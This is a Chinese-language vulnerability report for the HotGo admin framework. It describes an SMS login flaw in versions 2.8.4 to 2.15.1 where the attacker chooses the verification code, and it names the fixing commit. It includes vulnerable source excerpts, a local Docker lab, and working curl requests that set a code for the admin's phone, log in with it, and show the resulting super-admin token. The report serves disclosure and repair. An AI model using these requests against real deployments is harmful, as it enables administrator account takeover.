HotGo 漏洞报告
软件名称:HotGo
开发者或厂商:bufanyun
代码仓库:https://github.com/bufanyun/hotgo
1. 登录短信验证码内容可被攻击者指定
| 简要描述: | 登录短信验证码内容可被攻击者指定,导致攻击者接管账号。 |
|---|---|
| 影响版本: | v2.8.4 ~ v2.15.1 |
| 前置条件: | 目标实例已配置短信服务商,且攻击者知道目标管理员的手机号。 |
| 修复: | hotgo commit cb57056c |
漏洞成因
v2.8.4 起,/sms/send 接口的请求体中包含 SendCodeInp,允许调用方指定:
# server/internal/model/input/sysin/sms_log.go:72-77 commit 373d962d0b
type SendCodeInp struct {
Event string `json:"event" description:"事件"`
Mobile string `json:"mobile" description:"手机号"`
Code string `json:"code" description:"验证码或短信内容"`
Template string `json:"-" description:"发信模板 "`
}
SendCode 只在调用方没有传 Code 时才生成随机验证码,传入的值则被原样写入 hg_sys_sms_log。相关代码如下:
# server/internal/logic/sys/sms_log.go:165-182 commit 373d962d0b
if in.Code == "" {
in.Code = grand.Digits(4)
}
if err = sms.New(config.SmsDrive).SendCode(ctx, in); err != nil {
return
}
var data = new(entity.SysSmsLog)
data.Event = in.Event
data.Mobile = in.Mobile
data.Code = in.Code
data.Ip = location.GetClientIp(ghttp.RequestFromCtx(ctx))
data.Status = consts.SmsStatusNotUsed
data.CreatedAt = gtime.Now()
data.UpdatedAt = gtime.Now()
_, err = dao.SysSmsLog.Ctx(ctx).Data(data).Insert()
return
于是攻击者可以用自己指定的验证码登录。
虽然上述代码缺陷从 v2.8.4 起一直存在,但 commit dc20a86 引入了一个 bug,使得短信验证码功能失效。因此在 commit dc20a86 之后,本漏洞不再适用。
复现环境搭建
漏洞区间为 v2.8.4 至 v2.15.1,这里检出下界所在的 373d962(v2.8.4)。相关命令如下:
git clone https://github.com/bufanyun/hotgo.git
cd hotgo
git checkout 373d962
docker-compose.yaml 内容如下:
name: hotgo-284
services:
mysql:
image: mysql:8.0
command: --default-authentication-plugin=mysql_native_password --character-set-server=utf8mb4 --collation-server=utf8mb4_general_ci
environment:
MYSQL_ROOT_PASSWORD: root123
MYSQL_DATABASE: hotgo
MYSQL_USER: hotgo
MYSQL_PASSWORD: hg123456
ports:
- "13307:3306"
volumes:
- ./init.sql:/docker-entrypoint-initdb.d/init.sql:ro
- mysql_data:/var/lib/mysql
healthcheck:
test: ["CMD", "mysqladmin", "ping", "-h", "127.0.0.1", "-uroot", "-proot123"]
interval: 5s
timeout: 5s
retries: 30
volumes:
mysql_data:
其中 init.sql 取自仓库的 server/storage/data/hotgo.sql。启动数据库并编译服务端:
cp server/storage/data/hotgo.sql init.sql
docker compose up -d
cd server && go build -o hotgo .
server/manifest/config/config.yaml 由 config.example.yaml 复制,把数据库地址指向 127.0.0.1:13307:
database:
default:
link: "mysql:hotgo:hg123456.@tcp(127.0.0.1:13307)/hotgo?loc=Local&parseTime=true&charset=utf8mb4"
Prefix: "hg_"
启动服务端后,在后台的短信配置中把服务商设为腾讯云,并填入任意非空的 APPID 与密钥,使 SendCode 能走完发送流程。实验环境由一台本地 HTTPS 服务模拟腾讯云短信接口,只需把 sms.tencentcloudapi.com 解析到该主机并保持 smsTencentEndpoint 为默认值,该服务对任意 POST 请求返回下列内容即可:
{"Response":{"SendStatusSet":[{"Code":"Ok","Message":"send success","SerialNo":"s1","Fee":1,"SessionContext":"","Mobile":"+86","NationCode":"86"}],"RequestId":"stub-req"}}
Go 会校验服务端证书,因此启动服务端时用 SSL_CERT_FILE 指向签发该服务证书的根证书。
复现过程
调用短信发送接口,指定验证码为 8888,发给管理员 15300000000:
curl -s -X POST http://127.0.0.1:8300/admin/sms/send \
-H 'Content-Type: application/json' \
-d '{"event":"login","mobile":"15300000000","code":"8888"}'
{"code":0,"message":"操作成功","data":null,"timestamp":1793589877,"traceID":"a139e5947d1ce418c5dbfc342b432d72"}
用 8888 作为验证码登录:
curl -s -X POST http://127.0.0.1:8300/admin/site/mobileLogin \
-H 'Content-Type: application/json' \
-d '{"mobile":"15300000000","code":"8888"}'
响应中返回了 admin 的登录凭据:
{"code":0,"message":"操作成功","data":{"id":1,"username":"admin","token":"eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6MSwicGlkIjowLCJkZXB0SWQiOjEwMCwicm9sZUlkIjoxLCJyb2xlS2V5Ijoic3VwZXIiLCJ1c2VybmFtZSI6ImFkbWluIi...}}
带上该 token 读取管理员信息,确认身份为超级管理员:
curl -s -H "Authorization: Bearer $TOKEN" http://127.0.0.1:8300/admin/member/info
{"code":0,"message":"操作成功","data":{"id":1,"deptName":"hotgo","roleName":"超级管理员","permissions":["dashboard","/console/stat","dashboard_workplace","/dept/list","/post/list","/role/list","/member/list",...]}}